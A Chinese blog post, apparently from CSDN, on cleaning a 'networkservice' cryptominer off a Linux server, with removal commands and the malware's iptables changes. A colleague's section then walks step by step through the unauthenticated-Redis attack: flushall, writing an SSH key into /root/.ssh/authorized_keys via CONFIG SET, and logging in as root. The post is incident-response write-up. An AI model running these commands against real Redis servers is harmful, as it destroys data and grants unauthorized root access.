记一次 LINUX 挖矿病毒 networkservice 分析 原因通过redis入侵

单位ip被电信拉黑,原因恶意访问非法目的地;

通过安全防护软件分析一台服务器不断向国外不同国家发包请求;定位到服务器 192.168.2.110

登陆服务器一看cpu 爆满;

看是服务networkservice;不知所以然;百度一下 发现有同学已经中招了 定位是 挖矿病毒 networkservice;

清除的过程

使用top已经知道了进程号,接下来看看位置,命令ls -l proc/{进程号30262}/exe

 

sysupdate、networkservice都在/etc/目录下
到etc下,除了sysupdate、networkservice 同时还有sysguard、update.sh,除了update.sh其余的都是二进制文件,应该就是挖矿的主程序以及守护程序了

  1. 删除定时任务

    1
    
    rm /var/spool/cron/root 或crontab -r
    
  2. 杀掉进程 删除文件
    首先杀进程,kill -9 {进程号},然后删除文件
    直接删除sysupdate你会发现无法删除,因为一般病毒会使用chattr +i命令,我们使用chattr -i sysupdate,然后再 rm -f sysupdate 即可正常删除。
    同理删除networkservice、sysguard、update.sh、config.json。

  3. /root/.ssh/authorized_keys 删除或修复

  4. 如果你被攻破的是root用户(或者被攻破的用户权限较大),你可能还需要

  5. 修复SELinux
    病毒脚本首先就会尝试关闭SELinux子系统,我们可以使用getenforce命令查看SELinux状态。
    如果你想要重新打开,可以修改/etc/selinux/config文件将SELINUX=disabled改为SELINUX=enforcing,然后重新启动服务器。

  6. wget命令和curl命令会被改为wge和cur,这样用着很变扭,改回来

    1
    2
    3
    4
    
    mv /bin/wge /bin/wget
    mv /bin/cur /bin/curl
    mv /usr/bin/wge /usr/bin/wget
    mv /usr/bin/cur /usr/bin/curl
    
  7. 恢复防火墙配置
    这里给出病毒脚本修改的iptables配置的语句,方便读者修复

    1
    2
    3
    4
    5
    6
    7
    8
    
    iptables -F
    iptables -X
    iptables -A OUTPUT -p tcp --dport 3333 -j DROP
    iptables -A OUTPUT -p tcp --dport 5555 -j DROP
    iptables -A OUTPUT -p tcp --dport 7777 -j DROP
    iptables -A OUTPUT -p tcp --dport 9999 -j DROP
    iptables -I INPUT -s 43.245.222.57 -j DROP
    service iptables reload
    

    如果你的iptables策略确定被清除并且修改了,那直接清空并重新配置即可。

 

 

 

 

下面是隔壁团队成员提供的中招原因

通过redis入侵服务器的原理是:利用了redis默认配置,许多用户没有设置访问的key。然后通过向redis把自己的公钥写入到redis,然后利更改redis的数据库文件配置,把数据写入到认证文件。形成免密码登陆。

一,生成本地ssh公钥

ssh-keygen

 

二,先连接redis看看

telnet 192.168.15.10 6379
redis-cli -h 192.168.15.10

 

 

三, 清一下redis数据库

redis-cli -h 192.168.15.10 flushall

 

 

四, 向redis写自己的公钥

cat key.txt |redis-cli -h 192.168.15.10 -x set redis

 

 

五, 利用redis写入到文件中

#连接redis
#redis-cli -h 192.168.15.10
#查看keys
192.168.15.10>keys *
#写入配置库的路径及存放位置
192.168.15.10>CONFIG SET dir /root/.ssh/
#写入配置库名称及存放的名字
192.168.15.10>CONFIG SET dbfilename "authorized_keys"
#写入
192.168.15.10>save
#退出
192.168.15.10>exit

 

 

六, 远程连接

ssh root@192.168.15.10

 

 

注意,这个是使用的默认的。也就是说别人是用的root来启动的redis 并且没有更改sshd配置文件的位置,以及redis可以默认的可以随意访问性的。当然有许多可以猜。

这个是最近redis爆出来的。

 

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

 

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值